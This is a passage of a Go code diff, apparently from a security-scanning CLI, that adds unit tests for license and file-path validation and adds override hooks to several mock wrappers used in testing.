+
+func TestEnsureLicense_NilWrapper_ReturnsError(t *testing.T) {
+ err := EnsureLicense(nil)
+ assert.Error(t, err)
+ assert.Contains(t, err.Error(), "JWT wrapper is not initialized")
+}
+
+func TestEnsureLicense_AtLeastOneEngineAllowed_ReturnsNil(t *testing.T) {
+ jwtWrapper := &mock.JWTMockWrapper{
+ CustomIsAllowedEngine: func(engine string) (bool, error) {
+ return true, nil
+ },
+ }
+ err := EnsureLicense(jwtWrapper)
+ assert.NoError(t, err)
+}
+
+func TestEnsureLicense_NoEngineAllowed_ReturnsMissingLicenseError(t *testing.T) {
+ jwtWrapper := &mock.JWTMockWrapper{
+ CustomIsAllowedEngine: func(engine string) (bool, error) {
+ return false, nil
+ },
+ }
+ err := EnsureLicense(jwtWrapper)
+ assert.Error(t, err)
+ assert.Contains(t, err.Error(), errorconstants.ErrMissingAIFeatureLicense)
+}
+
+func TestEnsureLicense_WrapperError_ReturnsWrappedError(t *testing.T) {
+ jwtWrapper := &mock.JWTMockWrapper{
+ CustomIsAllowedEngine: func(engine string) (bool, error) {
+ return false, errors.New("engine check failed")
+ },
+ }
+ err := EnsureLicense(jwtWrapper)
+ assert.Error(t, err)
+ assert.Contains(t, err.Error(), "failed to check CheckmarxOneAssistType engine allowance")
+}
+
+func TestValidateFilePath_ExistingFile_ReturnsNil(t *testing.T) {
+ tempDir := t.TempDir()
+ filePath := filepath.Join(tempDir, "existing-file.txt")
+ err := os.WriteFile(filePath, []byte("content"), 0600)
+ assert.NoError(t, err)
+
+ err = ValidateFilePath(filePath)
+ assert.NoError(t, err)
+}
+
+func TestValidateFilePath_NonExistentFile_ReturnsError(t *testing.T) {
+ err := ValidateFilePath(filepath.Join(t.TempDir(), "nonexistent-file.txt"))
+ assert.Error(t, err)
+ assert.Contains(t, err.Error(), "file does not exist")
+}
+
+func TestValidateFilePath_Directory_ReturnsError(t *testing.T) {
+ err := ValidateFilePath(t.TempDir())
+ assert.Error(t, err)
+ assert.Contains(t, err.Error(), "path is a directory")
+}
diff --git a/internal/wrappers/mock/asca-mock.go b/internal/wrappers/mock/asca-mock.go
index 71e59b65..692a691b 100644
--- a/internal/wrappers/mock/asca-mock.go
+++ b/internal/wrappers/mock/asca-mock.go
@@ -11,7 +11,8 @@ var (
)
type ASCAMockWrapper struct {
- Port int
+ Port int
+ CustomScan func(fileName, sourceCode string) (*grpcs.ScanResult, error)
}
func NewASCAMockWrapper(port int) *ASCAMockWrapper {
@@ -19,6 +20,9 @@ func NewASCAMockWrapper(port int) *ASCAMockWrapper {
}
func (v *ASCAMockWrapper) Scan(fileName, sourceCode string) (*grpcs.ScanResult, error) {
+ if v.CustomScan != nil {
+ return v.CustomScan(fileName, sourceCode)
+ }
if fileName == "csharp-no-vul.cs" {
return ReturnFailureResponseMock(), nil
}
diff --git a/internal/wrappers/mock/export-mock.go b/internal/wrappers/mock/export-mock.go
index c82710b0..dafeb0b7 100644
--- a/internal/wrappers/mock/export-mock.go
+++ b/internal/wrappers/mock/export-mock.go
@@ -7,7 +7,10 @@ import (
"github.com/pkg/errors"
)
-type ExportMockWrapper struct{}
+type ExportMockWrapper struct {
+ CustomGetExportReportStatus func(exportID string) (*wrappers.ExportPollingResponse, error)
+ CustomGetScaPackageCollectionExport func(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error)
+}
// GenerateSbomReport mock for tests
func (*ExportMockWrapper) InitiateExportRequest(payload *wrappers.ExportRequestPayload) (*wrappers.ExportResponse, error) {
@@ -20,7 +23,10 @@ func (*ExportMockWrapper) InitiateExportRequest(payload *wrappers.ExportRequestP
}
// GetSbomReportStatus mock for tests
-func (*ExportMockWrapper) GetExportReportStatus(_ string) (*wrappers.ExportPollingResponse, error) {
+func (e *ExportMockWrapper) GetExportReportStatus(exportID string) (*wrappers.ExportPollingResponse, error) {
+ if e.CustomGetExportReportStatus != nil {
+ return e.CustomGetExportReportStatus(exportID)
+ }
return &wrappers.ExportPollingResponse{
ExportID: "id1234",
ExportStatus: "Completed",
@@ -44,5 +50,8 @@ func (*ExportMockWrapper) DownloadExportReport(_, targetFile string) error {
}
func (e *ExportMockWrapper) GetScaPackageCollectionExport(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) {
+ if e.CustomGetScaPackageCollectionExport != nil {
+ return e.CustomGetScaPackageCollectionExport(fileURL, auth)
+ }
return &wrappers.ScaPackageCollectionExport{}, nil
}
diff --git a/internal/wrappers/mock/jwt-helper-mock.go b/internal/wrappers/mock/jwt-helper-mock.go
index 9991b962..b487a959 100644
--- a/internal/wrappers/mock/jwt-helper-mock.go
+++ b/internal/wrappers/mock/jwt-helper-mock.go
@@ -15,6 +15,7 @@ type JWTMockWrapper struct {
CheckmarxOneAssistEnabled int
DastEnabled bool
CustomGetAllowedEngines func(wrappers.FeatureFlagsWrapper) (map[string]bool, error)
+ CustomIsAllowedEngine func(engine string) (bool, error)
}
const AIProtectionDisabled = 1
@@ -46,6 +47,9 @@ func (*JWTMockWrapper) ExtractTenantFromToken() (tenant string, err error) {
// IsAllowedEngine mock for tests
func (j *JWTMockWrapper) IsAllowedEngine(engine string) (bool, error) {
+ if j.CustomIsAllowedEngine != nil {
+ return j.CustomIsAllowedEngine(engine)
+ }
if engine == params.AiProviderFlag {
if j.AIEnabled == AIProtectionDisabled {
return false, nil
diff --git a/internal/wrappers/mock/telemetry-mock.go b/internal/wrappers/mock/telemetry-mock.go
index e891a1e6..19b58711 100644
--- a/internal/wrappers/mock/telemetry-mock.go
+++ b/internal/wrappers/mock/telemetry-mock.go
@@ -3,8 +3,12 @@ package mock
import "github.com/checkmarx/ast-cli/internal/wrappers"
type TelemetryMockWrapper struct {
+ CustomSendAIDataToLog func(data *wrappers.DataForAITelemetry) error
}
func (t TelemetryMockWrapper) SendAIDataToLog(data *wrappers.DataForAITelemetry) error {
+ if t.CustomSendAIDataToLog != nil {
+ return t.CustomSendAIDataToLog(data)
+ }
return nil
}
diff --git a/internal/wrappers/mock/tenant-mock.go b/internal/wrappers/mock/tenant-mock.go
index 840a7b2a..47bad035 100644
--- a/internal/wrappers/mock/tenant-mock.go
+++ b/internal/wrappers/mock/tenant-mock.go
@@ -5,6 +5,7 @@ import "github.com/checkmarx/ast-cli/internal/wrappers"
var TenantConfiguration []*wrappers.TenantConfigurationResponse
type TenantConfigurationMockWrapper struct {
+ CustomGetTenantConfiguration func() (*[]*wrappers.TenantConfigurationResponse, *wrappers.WebError, error)
}
func (t TenantConfigurationMockWrapper) GetTenantConfiguration() (
@@ -12,6 +13,9 @@ func (t TenantConfigurationMockWrapper) GetTenantConfiguration() (
*wrappers.WebError,
error,
) {
+ if t.CustomGetTenantConfiguration != nil {
+ return t.CustomGetTenantConfiguration()
+ }
if len(TenantConfiguration) == 0 {
TenantConfiguration = []*wrappers.TenantConfigurationResponse{
{